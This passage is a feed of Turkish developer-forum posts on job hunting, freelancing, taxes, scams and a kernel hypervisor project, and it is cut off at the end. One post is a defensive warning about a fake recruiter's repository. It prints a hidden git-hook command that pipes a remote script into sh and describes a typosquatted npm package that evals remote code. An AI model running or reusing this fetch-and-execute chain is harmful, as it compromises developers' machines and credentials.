Hangi mesleği araştırsanız iyi mi diye cevap hep kötü oluyor.
Yazılım mı - bitti
Sanatçılık tiyatro falan para yok
Çeviridir bilmem nedir iş yok
Ticaret yapmak var - hem riskli hem sermaye lazım
Diğer mühendislik dalları da muhtemelen bitmiştir
Allah aşkına biri söylesin hangi meslek yapılmalı şu dönemde?
Onu yapma bunu yapma ne yapacaz abi ?
Ekşisözlük'te yazılan bir entry. Paylaşım tarihi sonda sürpriz.
>
itü, ytü mezunları bile iş bulamıyorlar artık. örnek : (bkz: #165967355)
iş bulamayan odtü bilgisayar mühendisi: (bkz: #166037176)
türkiye'de mevcut yazılımcı sayısı 200.000. her sene 15bin bilgisayar mühendisi, yazılımla ilgili diğer bölümlerden de 45.000 mezun çıkıyor. bu bölümlerden olmayıp, sektöre girmek için çok
ucuza çalışanları saymiyorum bile.
kaynak: (bkz: #165453972)
eğer sağlam torpili yoksa (networking de diyorlar) vasatların ya da ortalama olanların iş bulamayacağı bölüm. iş bulanlar da zaten 2 yıllık deneyimle bazen 20bin tl teklif alıyorlar. günümüzde ytü, itü öğrencileri bile staj bulamıyorlar. memur kafasındaysanız, "belli saatlerde çalışıp, maaşımı alıp, rahatıma bakarım" diyorsanız, bu iş size göre değildir. gerekirse hafta sonları, gece yarılarına kadar bozulan sisteminizi/yazılımınızı düzeltmelisiniz. yeni çıkan her teknolojiyi öğrenip, o teknolojiyi en iyi bilenler arasında olmalısınız. bu bölüm türkiye'de 45 senedir var. 50-60 yaşlarında yazılım geliştiren kaç kişiyi gördünüz? ama 50-60 yaşlarında doktorluk yapan yüzlerce tıp fakültesi mezununa denk gelmişsinizdir. çünkü bilgisayar mühendisliği diplomasının zerre değeri yok.
yukarıda chatgpt'e entry yazıp ahkam kesen birisi "kazanması en zor bölümlerden birisi" demiş. yahu devlet üniversitelerinde bilgisayar mühendisliğinin kontenjanı dolmuyor. 80 sorudan 15 sayısal net ile 300.000 sıralamayla bu bölüme girilebilir. yani kazanması hiç de zor değildir. (bkz: siirt üniversitesi bilgisayar mühendisliği)
ha keza bitirmesi de artık günümüz internet ve chatgpt çağında hiç zor değil. bütün bilgisayar mühendisliği öğrencileri ödevlerini, projelerini chatgpt/copilot'a yaptırıyor. zaten daha önce çıkmış sorular da bölümün whatsapp, telegram gruplarında, hatta bölümlerin kendi sayfalarında mevcut. sınavdan önce 2 gün çalışsanız en azında bb alırsınız.
özel sektörde "bilgisayar mühendisliği mezunu olsun" yerine "x framework'ünü y cloud'unu z yıldır kullanıyor olsun" dediği için bölümün diplomasının da pek bir cazibesi yok. zaten bu bölümden ve yönetim bilişim sistemleri, bilgisayar programcılığı gibi alt bölümlerinden her yıl 40bin mezun veriyor. türkiye'de bu kadar yazılımcı açığı yok. yıllık 1000 tane bile yok.
bu bölümü bitirince start up kurup parayı kıracağını düşünenler, itü çekirdek'e kabul edilen girişimlerin yüzde kaçının 4 yıl sonra ayakta kaldıklarını öğrensinler. %4 . girişimlerin sadece %4'ü 4 yıl dayanabiliyor, diğerleri iflas ediyor. yani burada ne anlıyoruz? aslolan ne bildiğiniz, hangi üniversitenin ne bölümünü bitirmiş olmanız değil. aslolan müşterinin ihtiyacını karşılayacak bir ürün çıkarabilmenizdir.
sağlık sektöründe ise böyle bir sıkıntı yok. 50nize gelseniz de müşteriniz hazır. sizin yerinize çin'de üretilen daha ucuza hizmet veren bir doktora gitme şansları yok. oysa ki yazılımda çin'deki de, hindistan'daki de sizin rakibiniz. aynı kalitede programı daha ucuza yazıyorsa, işinizi onlar yapacaktır.
17-18 yaşın verdiği hayal ile "ya ben nasıl olsa bir şeyleri bozup yapmaktan, tamir etmekten keyif alıyorum. android telefonumu da root edebildim. demek ki benden bill gates olabilir. hem çalışırken gezebilirim de, bundan kebap meslek mi var yahu? hem matematiğim, fenim de iyi, demek ki iyi bir yapay zekacı olabilirim" hayallerine kapılıp, bu bölümü tercih etmeyin. sağlık gibi garanti bölümleri seçin. insan var oldukça sağlık personeli ihtiyacı devam edecektir. ama yazılım sektöründeki çalışanların yerini chatgpt/copilot şimdiden almaya başladı.
not: yukarıda "vasatlar ya da ortalama olanlar iş bulamaz" de geçen parametrenin sizin üniversite giriş sınavında gösterdiğiniz dereceyle alakası yok. türkiye ilk 1000'inde olup, bu sektör için gerekli özverileri gösteremiyorsanız, bu bölüm ve sektör için uygun olmayabilirsiniz.
sektör çok hızlı değiştiği için, bilgisayar mühendisliği bölümlerinde verilen derslerin ancak %20 si sektör ile alakalı oluyor. şu analojiyle açıklayayım, akıllı telefon kullanmayı öğrenmek için üniversiteye gidiyorsunuz ama size üniversitede transistörleri, elektronik devreleri ve nokia telefonları anlatıyorlar. neden? çünkü bölümdeki öğretim görevlileri bölüme başladıklarında nokia kullanılıyormuş ve android/ios işletim sistemlerine sahip akıllı telefonları öğrenip, anlatmak için kendilerince bir sebepleri yok. böyle alakasız bir eğitimi alıp, bu kadar rekabetçi bir sektörde işe girebileceğinizi sanmak için ya gerçeklerden uzakta bir hayal aleminde yaşıyor ya da bölüme ve sektöre dair hiçbir şey bilmiyor olmalısınız.
maaş konusuna da değinelim, şu an yeni mezun bir doktorun aile hekimliği yaparak kazandığı parayı, 5 senelik deneyime sahip bir bilgisayar mühendisi belki kazanabilir. doktorun garanti işi var iken, mühendis her an yine iş bulmak ve yüz binlerce aday ile mücadele etmek zorunda kalacaktır.
özellikle sosyal medyada size bu bölümü övenlerin çoğunluğu sizin üzerinizden para kazanacak olanlardır. mesela şu twitter kullanıcısı yakın zamana kadar bu bölümü övüyordu (çünkü türkiye'den ucuza kiraladığı geliştiricilerle çalışıyordu). geçen gün "bilgisayar mühendisleri işsiz kalacak. bu bölüme girmeleri için kimi yönlendirdiysem, hepinizden özür dilerim" diye yeni bir tweet attı:
https://x.com/…gataykurt/status/1798094289911873902
2024 Haziran
Merhaba bu sub'a arada bakıyorum genelde işsizlikten yakınıyorlar ya da maaşlar çok düşük gözüküyor.
Lisansım Amerikan Kültürü ve Edebiyatı'ydı ama ilk yılda bırakıp freeCodeCamp ve YouTube üzerinden kendim yazılım öğrendim. Öncesinde hayata dair hiçbir bilgim yok, 0 iş tecrübesi, 15-21 yaş full oyun/ortam ile geçti.
Sektörde bir yıl kadar tecrübem var. Beş ay kadar Türkiye'de bir firmada 'staj' adı altında uçtan uca projeler yaptım, aylık maaşım 12000₺ idi (altı gün). Orayı bırakıp Upwork'te freelance çalışmaya başladım, şimdi $5000 net maaş ile full-time devam ediyorum. Biri $32/saat, diğeri $40/saat iki ayrı kontratım daha var.
İlk kontratım $15/saat ile başladı, üzerinden yaklaşık 8 ay geçti. Şimdi buradayım, hala daha fazlasının da mümkün olduğunu düşünüyorum. İngilizce konuşmama güvenmiyorum ama bu engel değil zaten toplantı varsa %90 müşteri konuşuyor. Genelde freelance konusunda herkes Hindistan'ın domine ettiğini düşünüyor ama bence dünya fazla büyük. 8 milyar insan var. Herkes ucuz etin yahnisini tercih etmiyor ki onlarla çalışma fırsatım da oldu, güzel bir tecrübe değildi. Müşteriler için de aynısının olduğunu düşünüyorum, Türk pazarına daha sıcak bakan bir kesimin olduğunu kesin.
Front-end odaklıyım. JavaScript, Next.js ve aslında daha çok low-code form builderda çalışıyorum. Projeler telehealth üzerine. Facebook'a sağlık ürünü satışı için ayda $50-100K bütçeli reklam çıkıyorlar ve müşterilerin sağlık durumunu vs. öğrenmek için form geliştirmek, Stripe ve eczane/doktor altyapılarına bağlamak gerekiyor. %95 bu projelerde yer alıyorum.
Belki birilerine küçük bir yol gösterir diye buraya yazmak istedim. Soruları bekliyorum.
P.S
Youtube'a basitçe 'upwork tips and tricks' yazarsanız size 30 tane yapılacak listesi çıkıyor. Projeniz eksikse 'upwork best portfolio' ya da 'tech stack best portfolio' gibi çok basit şeyler yazsanız yine bir ton yapılacak şey bulacaksınız. Yine 'upwork best beginner profile' tarzında aramalar olabilir.
Mindset için 'Hamza Ahmed'. Staj ve genel iş konusunda harika bir Türk kanal da var 'Onur Kemal Koç'. Upwork'ten benden çok daha fazla kazanan bir Türk de yayınlar yapıyor 'Boran Oktay Dabak'. Bu gibi, özellikle mindset ve genel hayata yaklaşım üzerine algoritmanızı yenilemenizi tavsiye ederim. Ortalama ekran süremizin 7 saat olduğu bir dünyada artık '5 arkadaşının ortalamasısın' ın yerini 'Takip ettiğin 5 kişinin ortalamasısın' aldı. Bunlar futbolcular veya sizi hedefinize götürmeyen bireylerse kötü arkadaş çevresinden bir farkı kalmıyor.
Matematiğin gücüne de inanın. Bugün kaç saat çalıştım, bu ay kaç proje yaptım, eskiden yaptıklarım şöyle görünüyordu/şu an nasıl görünüyor, bugün kaç mail attım, kaç kişiye Linkedin'den yazdım, kaç başvuru yaptım, kaç kere Upwork'te iş ilanlarını takip ettim, her saat bakıyor muyum? Bunların takibini yapsanız ne kadar az yaptığınızı fark edeceksiniz, asıl kayıp buradan kaynaklanıyor. Ve okuyun.
“İnsan ancak başkalarının hatalarından öğrenebilir; çünkü hepsini kendi yapacak kadar uzun yaşamaz.”
Steve Jobs, geleceğe odaklanmak yerine sadece önündeki 18 saate odaklanmak hakkında: https://youtube.com/shorts/6x0z18DK1yI?si=v1ugY-ZGgdQf4Zag
Bilgisayar mühendisliği 2. Sınıfı bitirdim ama sektörün hali maaşlar iş bulamama konusunda endişeliyim.
Çevremdeki tanıdığım sektörde deneyimli kişiler bile iş bulmakta zorlanıyor bilkent mezunu 9aydır iş bulamayan tanıdığım var.
7bin sıralama yaptım heryer tutuyordu eskişehire bilgisayar mühendisliğine geldim keyfim yerinde ama geleceğim konusunda endişeliyim.
Sizce çok mu geç bu karar için?burda hazırlıkla beraber 3 senem gitti.Tıp okurum en azındna başkasına muhtaç kalmam işim olur diye düşünüyorum.Benzer deneyimler yaşayan var mı?20yaşındayım tavsiyelerinizi bekliyorum.Lütfen akıl verebilecek yol gösterebilecek kişiler yardımcı olsun okuyup geçmesin
Herkesin bildiği gibi şu an sektör mühendis kaynıyor iş, staj bulmak cidden çok zor. Bu durumda diğer herkesten bir fark olması amacıyla yazılım alanında master yapmak hakkında fikirleriniz nelerdir? Yurtdışında iyi bir üniversitede master yapılırsa yine de iş bulma konusundaki sıkıntılar yaşanır mı? Yapanlar varsa tavsiyelerini dinlemek isterim.
Merhaba, öncellikle bu toplumda ilk kez gönderi paylaşıyorum, topluma katılmamın sebebi bu sektörde bi nebze bile de olsa yol çizerken yardım alabilmekti.
Başkent üni mezunuyum çok iyi bir üniversite değil bunu biliyorum, yks zamanında otizmli ablam kontrolden çıkmıştı ve annemle zor dönemler geçiriyorduk bu sebeple ders çalışmam aksamıştı ve mentalim biraz zedelenmişti. Kesinlikle geçerli bir bahane değil ama o sene eşeklik edip tekrar hazırlanmak istemedim, yorulmuştum bu sebepten ötürü 5 sene önce bu bölüm ve okulu tercih ettim.
Mezun oldum ve zaten bir stajım ve bir hocamızın verdiği ders sayesinde aşina olduğum .NET backend geliştiriciliğinden devam ediyorum kendimce API projeler yaptım hatta iş bulamayınca eğitim alıp sertifika bile aldım ancak herhangi bir pozisyonu kabul edecek hale geldim bu yüzden birçok alanda temel edindim, üstelik bazı alanlarda da iyice ilerledim.
Mezun olalı yaklaşık 1 sene olacak ve ben güçlü olduğunu düşündüğüm CVimle linkedin, kariyernet, indeed, youthall ilanlarından her gün başvuru yapıp durdum. Ancak 7-8 kez mülakata çağırıldım 3ü teknik mülakata kadar ilerledi(1 tanesi deneyimli olmadığım sistem uzmanlığı ile alakalıydı zaten) sonrasında ya red yedim ya da haber alamadım. Tanıdıklarımın veya akraba/yakınlarımın beni bağlamaya çalıştığı şirketlerden hiç iş teklifi gelmedi. Kendileri benim için çabaladılar(özellikle annem) ve dönüş alamamam beni çok kötü hissettiriyor. Bir sene daha bu arayışa devam edip bulamazsam yüksek lisansa başlamayı düşünüyorum. O da yalnızca işsizlik durumunu ertelemek için…
Uzun lafın kısası 1 senedir aktif olarak arasam da iş bulamıyorum ve bu belirsizlik içinde yaşamam beni streslendiriyor ve yetersiz hissettiriyor.
Sadece içimdekileri dökmek istedim. Yol gösterebilecek varsa da çok memnun kalırım şuan ne yapabileceğimi bilmiyorum.
Daktilo Yazıcılığı Bölümü mezunları yıllardır büyük bir yanlış anlaşılmanın kurbanı oldu. Herkes onların teknolojik gelişmeler yüzünden işsiz kaldığını düşündü. Oysa gerçek çok farklıydı: Daktilo yazıcılığı hiçbir zaman bitmedi. Hatta sektör bugün bile inanılmaz fırsatlar sunuyor.
Düşünün; dünyada hâlâ yazılması gereken milyonlarca metin var. Harfler hâlâ varlığını sürdürüyor. Kâğıt deseniz zaten hiç ortadan kaybolmadı. Demek ki problem piyasada değil, tamamen mezunların vizyon eksikliğinde.
Mesela girişimci ruhu olan bir daktilo yazıcısı ne yapardı?
“Uber for daktilo” kurardı.
Abonelik sistemiyle aylık premium tuş sesi satardı.
“Organik analog içerik üretimi” diyerek Silikon Vadisi’nden yatırım alırdı.
Ama onlar ne yaptı? Oturup “bilgisayar çıktı” diye yakındılar.
Bugün startup dünyasına bakıyoruz; insanlar eski kahve değirmenini bile “artisan experience” diye pazarlıyor. Daktilo mezunları ise ellerindeki mekanik ASMR hazinesini değerlendiremedi. Halbuki doğru marka yönetimiyle bir daktilo tuşuna basma sesi bile NFT olarak satılabilirdi.
Açık konuşmak gerekirse daktilo yazıcılığını teknoloji değil, LinkedIn kullanmamak bitirdi.
Vizyon sahibi birkaç kişi çıkıp “AI destekli butik daktilo danışmanlığı” kursaydı şu an hepimiz yatırım turu haberlerini okuyorduk. Ama maalesef sektör, “F klavye mi Q klavye mi” tartışmasını aşamadı.
Sonuç olarak mesele hiçbir zaman daktilonun ölmesi değildi. Mesele, mezunların kendilerini “yazı ekosistemi çözüm ortağı” olarak konumlandıramamış olmasıydı.
Merhabalar, benzer durumda olanlar için bilgi/soru postu. Yanlışım varsa düzeltsin tecrübeliler lütfen. Konuyu bilenler direkt sorulara geçebilir alta
Vaziyet nedir nası oluyor
Bir avrupa şirketiyle anlaştım ve Türkiye'den oraya çalışmanın legal yolu şahıs şirketi açıp fatura kesme usulü iş yapmak. Kağıt üzerinde TR'de şahıs şirketiyim ama reelde oranın fulltime çalışanı gibi takılıyorum yani. B2B oluyorsunuz yani oranın bordrolu çalışanı değil de remote contractor'u (bankalarda çalışan ama resmi olarak başka şirket üzerinden iş yapanlar gibi, taşeron) her ay sana şu kadar saat çalıştım diyorsunuz. Saatlik anlaştığınız dolar/euro size brüt geliyor. Sigorta vs her şeyi siz kendiniz hallediyorsunuz. Yurtdışı tarafı böyle vergi sigorta kağıt işleriyle uğraşmadan ve oraya göre çok daha ucuz işçi alıp kullanmış oluyor yani. Kendiniz hallediyorsunuz dedim ama güvenilir bir mali müşavir bulup derdinizi anlatıyorsunuz ve neredeyse tüm süreci o hallediyor. Mali müşavir işlemleri başlattıktan 2-3 gün sonra vergi dairesinden adres kontrole geliyorlar. Bir dayı aradı odanın fotoğrafını çek aşağı in dedi çıkmadı bile, doblo tarzı aracın arkasında halletik işlemleri.
Kurallar, kavramlar falan
Hizmet İhracatı İstisnası: Yazılım veya tasarım gibi hizmet satıyorsan TR bankasına döviz sokmana sevinen devletimiz gelir verginde baya yardımcı oluyor hatta almıyor. Faturanı %0 KDV keseceksin ve paranın tamamı TR'deki hesabına döviz olarak girecek. Bu %80 diye geçiyordu hesabı kitabı vardı artık %100 o yüzden sadece aşağıda yazdığım sabit giderleriniz var. Yani ayda 50k da kazansanız 500k da kazansanız aylık sabit gideriniz aynı.
Genç girişimci desteği: Normalde 29 yaş altındaysan ilk şahıs şirketinde gelir vergisi istisnası sunuyor 3 yıl. 2026dan önce de 1yıl bağkur ücretini almıyordu kalktı o artık.
Yani zaten yazılım hizmet ihracatı'ndan faydalanıyorsan bunun hiçbir anlamı kalmadı.
Gelir vergisi ve fatura kesmece: Teknik olarak gelir vergisi olmadığından masraf gösterilebilecek bir şey de yok. Fakat müşavirimin tavsiyesi yine de harcamaların faturasını almak çünkü devletin napacağı belli olmaz bugün teşvik verir yarın geri alır. Bunlar bir havuzda toplanıyor ve ileride borç çıkarsa oradan ödeyebiliyormuşuz. Bu yıl içerisinde veya yakın zamanda geri alacaklarını sanmıyorum para lazım ülkeye ama nolur nolmaz. Ben büyük alışverişleriminkini alıyorum diğerlerine uğraşmıyorum açıkçası.
Masraflar
Aylık sabit masraf: Bağkur ~10k + mali müşavir 7k (değişiyor) + Damga mamga bişiler = ~19k
Müşavir dışındaki ücretler değişmez (sigortanızı minimumdan yatırdığınızı varsayarak), müşavir de ~2.5k fark eder diye düşünüyorum , tecrübeliler yine yazabilir.
Yıllık sabit masraf (YMM rapor): Yeminli mali müşavir raporu diye bir şey varmış yılda 1 kere verilen. Bunun da hesabı var da özetle yılda net 500k TL'nin üstüne çıkıyorsa ödüyorsunuz, yani büyük olasılıkla ödeyeceksiniz. 2026 ücreti 40-50k falanmış (taban fiyatı var + ne kadar çok kazanıyorsanız o kadar çok artıyormuş). Mart ayında yapılıyor dedi bana müşavirim ve benim işler yeni olduğundan bu sene yırttım gibi gözüküyor.
Sorular
Döviz hesabını nasıl hallettiniz, ben başlangıçta süreç hızlı ilerlesin diye kişisel döviz hesabımı vermiştim fakat ayrı yeni bir hesap açmak istiyorum yeni. Müşavirim devlet bankalarında yapmamı önerdi. İleride yurtdışına taşınma ihtimali, vize süreçleri, konsoloslukların istedikleri vs için nasıl bir yol izlesem daha iyi olur. Devlet vs özel banka? Swift ile gelen dövizi TL'ye çevirirkenki kur farkı, olması olmaması gereken zamanlar, en az kayıpla işin içinden çıkmak için tavsiyeler?
Kağıt üstünde B2B ama fiilen full-time çalışan biri olarak "şuna kesin dikkat et" dedikleriniz?
Yurtdışına KDV'siz fatura kestiğim için TR'de aldığım makul ürünlerdeki KDV'yi geri isteme hakkım var mı?
Agalar aranizda bunu yasayan var mi? 2 3 hafta once opus 4.6 ile neler neler yapiyordum asla bitmiyordu, token kullanimi ciddi azdi. simdi gene 4.6 kullansam dahi 3 4 prompta %90i goruyorum bu nasil mumkun? bir ben mi yasiyorum? bir ben yasiyorsam cunku gidip claude kullanimi hakkinda ciddi mesai harcayacagim.
Bu hafta başıma gelen bir olayı paylaşmak istiyorum. Bu posttaki herhangi bir linke gitmeye çalışmayın.
LinkedIn üzerinden "Rana Fayez" adında biri mesaj attı. BitAngels adlı bir kripto şirketinde işe alım uzmanı olduğunu söyledi.
Şimdi bu zaten bir red flag arkadaşlar. İşle ilgili ne gereksinimler yazıyor, ne bir gerçek ilan var, hele crypto falan deyince ben soğuyorum. Ama tamamen gerçek tarzda yazılmış da olabilirdi. Yine de size böyle yazanlara cevap dahi atmayın.
Ben mesaj attım dedim cryptoyla uğraşmayalı çok seneler oldu şimdi de uğraşasım yok. Ya yok bi konuşsaydık aslında falan dedi, bir MVP'yi gör isterim onun üzerinden tech lead ile görüşme ayarlayayım. Dedim tamam hele bir gönder neymiş bakalım asıl malware.
e-maildeki github reposuna gittim(emaildeki linklere tıklamayın orada yazdığı endpointe gitmiyor olabilirler, bu gidiyordu). Repolarda bakacağınız bir kaç şey var, contributorlar kim, activity nasıl ve en önemlisi malicious code var mı. Buradaki contributorlar legit gibi duruyordu ama hiç birinin linkedin'de o başta yazan firmayla ya da o kadın ile bir bağlantısı yoktu. Burada da bir red flag var.
Repoyu açtığımda asıl eğlenceli kısım başladı, dedim Claude Code'a burada malicious bir activity var mı? Sağ olsun bayağı bir şey buldu. Bu kısımları da direkt Claude'a yazdırdım kusura bakmayın:
.vscode/settings.json dosyası şunu içeriyordu:
{ "task.allowAutomaticTasks": "on" }
.vscode/tasks.json ise klasör açıldığında otomatik çalışan bir görev tanımlıyordu:
git config core.hooksPath .githooks; git checkout main
Yani projeyi VSCode'da açar açmaz bu görev çalışıyor, git hook'larını aktif hale getiriyor ve git checkout main ile post-checkout hook'unu tetikliyor. Hiçbir şey yüklemenize, çalıştırmanıza gerek yok. Klasörü açmanız yetiyor.
Repoda .githooks/ adlı bir klasör vardı. İçindeki post-checkout dosyası ~50 satır masum yorum satırıyla başlıyordu. Dosyanın en altına gizlenmiş asıl kod şuydu:
curl -s 'https://gitconfig-nyx-v1.vercel.app/settings/linux?token=00fbe23fd7efc30639f1' | sh >/dev/null 2>&1
Yani git checkout komutu çalıştığında, uzak bir sunucudan shell scripti çekip sessiz sedasız çalıştırıyor.
package.json içinde meşru cookie-parser paketi yerine cookie-parseflow adlı sahte bir paket kullanılmıştı. server/app.js de bu paketi içe aktarıyordu.
Paketi incelediğimde şunu buldum:
next() çağırıyor, şüphe uyandırmıyorhttps://api.npoint.io/965c9b477f1b8ef5978bcookie alanını alıp new Function.constructor("require", code) ile çalıştırıyor — yani tam erişimli eval()/dev/null'a yönlendiriliyorO endpoint hâlâ aktifti ve 7.2 MB'lık, ağır şekilde obfuscate edilmiş bir JavaScript payload servis ediyordu.
AI'ın yazdığı kısım bitti.
Şimdi benim aldığım aksiyonlar şu şekilde:
Adamlar böyle meşru siteleri kullanıyorlar ki firewallar falan engellemesin çıplak göze gayet normal dursun diye.
Ben böyle saldırıların canlı mülakatlar da bile yapıldığını gördüm. Adam sana canlı canlı şu repoyu çek bir çalıştır diyor, gerçek mülakatlarda kendi yazdığım kod haricinde başka bir şey çalıştırmam istenmedi siz de yapmayın.
Son zamanlarda böyle saldırılar çok görmeye başladım. Size de böyle yazanlar olduğu zaman iyice irdeleyin her adımını. Kendinize dikkat edin. Sizin de eklemek istediğiniz dikkat edilmesi gereken şeyler varsa yorumlarınızı bekliyorum.
Bilgisayar mühendisliği son sınıf öğrencisiyim. Yaklaşık 6 aydır İstanbul dışında bir holdingte data engineering tarafında staj yapıyorum.
Staj sürecinde gerçekten işin içine girdim. Informatica, SQL, DB2, Tableau gibi teknolojilerle çalıştım. Ekipte değişiklikler olunca stajyer olmamıza rağmen ciddi sorumluluk aldık ve gerçek işler yaptık.
Şimdi bizi full-time işe almak istiyorlar ama dürüst olmak gerekirse burada devam etmek istemiyorum.
Bunun nedeni sadece maaş da değil. Bulunduğum şehir bana göre değil, ailem ve düzenim İstanbul’da. Ayrıca çalışma ortamı ve yönetim tarzı da uzun vadede çalışmak isteyeceğim gibi hissettirmiyor. Maaşın da sorumluluğa göre düşük kalacağını düşünüyorum.
Açıkçası burada kalırsam bir süre sonra hem mental olarak sıkışmış hem de kariyer anlamında yerimde sayıyormuş gibi hissedeceğimden korkuyorum.
Ama diğer taraftan da piyasa ortada. Yeni mezun biri için garanti iş fırsatını bırakmak riskli geliyor.
Şu an aklımda direkt İstanbul’a dönüp daha iyi fırsatlar kovalamak var. Özellikle data engineering tarafında gelişebileceğim bir ortam arıyorum.
Benzer durumda olup garanti işi bırakıp başka şehre dönen oldu mu?
Siz olsanız sırf “iş garanti” diye istemediğiniz bir yerde kalır mıydınız?
Selamlar, uzun yıllardır bilgisayar başında saatler geçiriyorum zaman zaman sorun yaşasam da genel olarak gayet iyi gidiyordum.
Son iki aydır karınca duası gibi logları incelemekten gözlerimde seğirmeler morarmalar başladı. En iyi ihtimal gözlerim kan çanağına dönüyor.
Mavi ışık filtreli gözlük kullanıyorum harici bir önlemim yok.
Buraya mı soruyorsun doktora git denmeden önce şunu belirteyim ilaç sormak için yazmadım, ekran ayarı vesaire sormak için yazdım. Yaptığınız herhangi bir ayar var mı, ya da bu tarz başka ne önerirsiniz onu merak ediyorum.
Ayrıca bütün gün gayet enerjikken eve girdiğim anda çöküyorum yorgunluktan. Zihin yorgunluğuna iyi gelen kullandığınız bir takviye vesaire var mı?
Şimdiden yanıtlarınız için teşekkür ederim.🙏
Okuyamayacaklar için özet: Şüpheli olduğunu düşündüğüm bir şirketler grubunun stajına kabul aldım, bu grup ya da şirketlere dair bilginiz var mı?
SONUÇ EDIT (Önemli): Dönüşleriniz sonunda anladım ki %100 dolandırıcılık olmasa da büyük oranda staj karşılığı para koparmaya çalışan bir ekipmiş. Gerçekten de vaadedilen kazanımlar sunuluyor ancak buna değecek kazanımlar olmadıkları aşikar. Ayrıca bir yorumda gördüğüm üzere genel yeterlilik formunun sonunda onaylamanız gereken iki husus vardı sanırım bunlardan biri uzaktan satış sözleşmesiymiş. Yeterlilik formu için 15dk'lık bir süre ve uzunca yanıtlayacağımız sorular verilmişti. Böylece aceleyle bunları onaylayıp geçmemizi bekliyorlardı muhtemelen. Maalesef ki formun başında ikamet adresini de talep ediyorlardı, bununla bir ilgisi olabilir. DENK GELİRSENİZ UZAK DURUN!
Son 1 aydır TNC Group bünyesi adı altında Software Persona, Arch of Sigma, SCA Social, Human Ports, vs. vs. gibi şirketlerin staj ilanlarıyla karşılaşıyorum. Bu ilanların başlamasıyla birlikte bir anda onlarca stajyer "TNC Group ile şu şu stajımı tamamlayıp şu kazanımları kazandım, şu şu kişilere teşekkür ederim" tarzında birbirinin neredeyse aynısı gönderiler yayınladı.
Bu ilanlardan ikisine başvurdum ve ikisinde de ön elemeden geçtiğimi ve mülakata dahil edildiğimi söyleyen dönüşler aldım. Biri benim alanımla ilgili olmadığı için girmedim, diğerine de dün girdim. 100-120 civarında kişilik bir meet toplantısında bir insan kaynakları sorumlusu abartılı ve nedense fazlasıyla rol yapıyormuş gibi görünen bir üslupla uzunca kendilerini ve nasıl bir şirket olduklarını anlattı. Sık sık gerçek olduklarına inandırmaya çalışıyormuşcasına somut örnekler verdi. "LinkedIn gönderilerimize bakın bunları biz yazdırmadık, ... bey/hanım şöyle bir staj tamamlayıp sertifikasını almış" gibi açıklamalar yaptı. Bu staja 3000 civarı başvuru aldık, ön elemeden geçen 200 kişinin 100'ü burda, aranızdan da 20 kişi genel yeterlilik formunun ardından staja kabul alacak şeklinde bir yol haritası çizdi.
Basit bir formun ardından bugün kabul aldığıma dair bildirim aldım. Ancak nedense kafamı kurcalayan bazı noktalar oldu. Şirket belli bir vaatte bulunmuyor, online bir stajda 4 farklı alanda eğitim vereceklerini, bunların sonunda da en başarılı 10 stajyeri Sırbistana yüzyüze bir staja göndereceklerini söylüyor. Yalnızca staj masrafları okul tarafından karşılanmayan öğrencilerden kendi hesaplarına 3500 liralık bir dosya ücreti talep ediyor.
Sürecin tamamen ücretsiz olduğunu vurgulanıyordu. Bu yüzden girelim bakalım ne kaybım olur ki diye düşünüp sürece devam ediyorum. Ancak şirketi araştırdıkça kafam karışmaya devam etti. Şirket ve şirket grubuna dair çok az bilgi var. LinkedIn hesaplarındaki çalışan sayısı Kasım 2025 itibarıyla %3005 civarı bir artış görmüş ve ilişkili üyelerin(aktif çalışan olması gereken) %90'ı 3. ya da 4. sınıf üniversite öğrencileri. Şirket yetkililerinden belli başlı isimleri araştırdım ve gördüğüm kadarıyla "herhangi bir adam" denecek cinsten, İnstagram'da 90 takipçisi falan olan dümdüz insanlar.
İnstagram hesaplarındaki gönderilerde de ofis videolarında çalışanlarını değil LinkendIn'den denk geldiğim stajyerlerini kullandıklarını fark ettim. Görünen ofis ortamı bütün gönderilerde birbirine çok benziyor. Hatta dünkü mülakattaki insan kaynakları sorumlusunun bile arkası gönderilerdeki gibiydi. Yani sanki kocaman şirket bir duvarın önündeki masayı dönüşümlü olarak paylaşıyor, bütün işlerini aynı masadan yürütüyor gibi. Sırbistan'da staj yaptığını paylaşan stajyerlerin de arkaplanı gene bu ortamla büyük oranda örtüşüyordu. Belki gereksiz yere Sherlock Holmes'luk yapıyorumdur ama bana şüpheli geldi, bilgisi ya da öngörüsü olan varsa paylaşabilirse sevinirim.
10k yapıp girdim bölüme, ortalama 3,5 üstü, 2-3 tane düzgün(?) sayılabilecek proje var, neyi yanlış yapıyorum bilmiyorum. Etrafımda kimse bulamadı staj.
Ellerim titriyor Birkaç haftadır bu projeyi yapıyorum. Sonunda çalıştı ve ne kadar zor olduğunu anlatmak istiyorum çünkü bu tür projelerde genellikle yaptım, işte repo kısmını görürsünüz, ortadaki acıyı görmezsiniz.
Proje ne?
Kısaca: çalışan bir Linux sistemine insmod yapıyorsunuz o andan itibaren kernel farkında olmadan AMD SVM guest VM'i olarak çalışıyor. Modül Ring -1'de hypervisor oluyor. rmmod yapınca 12 CPU temiz devirtualize oluyor, sistem bare metal'e dönüyor. Reboot yok, özel kernel yok, patch yok.
Buna Type-1.5 hypervisor deniyor, sistem açılmış, kernel çalışıyor, sonradan altına hypervisor enjekte ediliyor. Windows dünyasında buna "bluepill" deniyor. Linux'ta açık kaynak olarak bunu yapan bir LKM yok, en azından ben bulamadım. Asıl zorluk şu o anın fotoğrafını çekip kernele bıraktığı gibi yeri vermek herseyi registerdan cr4'e kadar artik 90larda degiliz islemcilerde bir ton şey var. 12 core bi de hayvan gibi deadlock veya race riski var.
Gerçekten zor olan kısımlar
Teoride basit görünüyor: VMCB hazırla, VMRUN çalıştır, VMEXIT'leri handle et. AMD dokumantasyon'u oku, SimpleSVM koduna bak, porta başla. İlk birkaç gün içinde bu birkaç günde biter diye düşündüm.
Yanılmışımmm
Triple fault ve hiç log yok iz yok neden yok boşluk siyah ekran hiç ışık yok.
İlk büyük engel şuydu: sistem anında triple fault yapıyor, dmesg'de hiçbir şey yok. Triple fault olduğunda CPU reset atıyor, kernel buffer'a yazamıyor. Hata nerede? Hiçbir fikrim yok.
Çözüm olarak framebuffer'a doğrudan yazmaya başladım initte /proc/iomem'den GOP adresi alıp her CPU'nun VMRUN öncesi ve sonrası durumunu renkli piksel blokları olarak ekrana çiziyordum. Debugger yok, serial port yok, sadece ekranda beliren renkler. Her renk bir CPU'nun ne kadar ilerlediğini gösteriyordu. Sonunda sorunun NPT'de olduğunu bu şekilde buldum. Burda bi ara nosmp ile tek çekirdeğe düşmek zorunda kaldım. Bu arada framebuffer yöntemi devirt esnasında sorun çıkardığı için son aşamalarda kaldırdım.
TLB shootdown deadlock
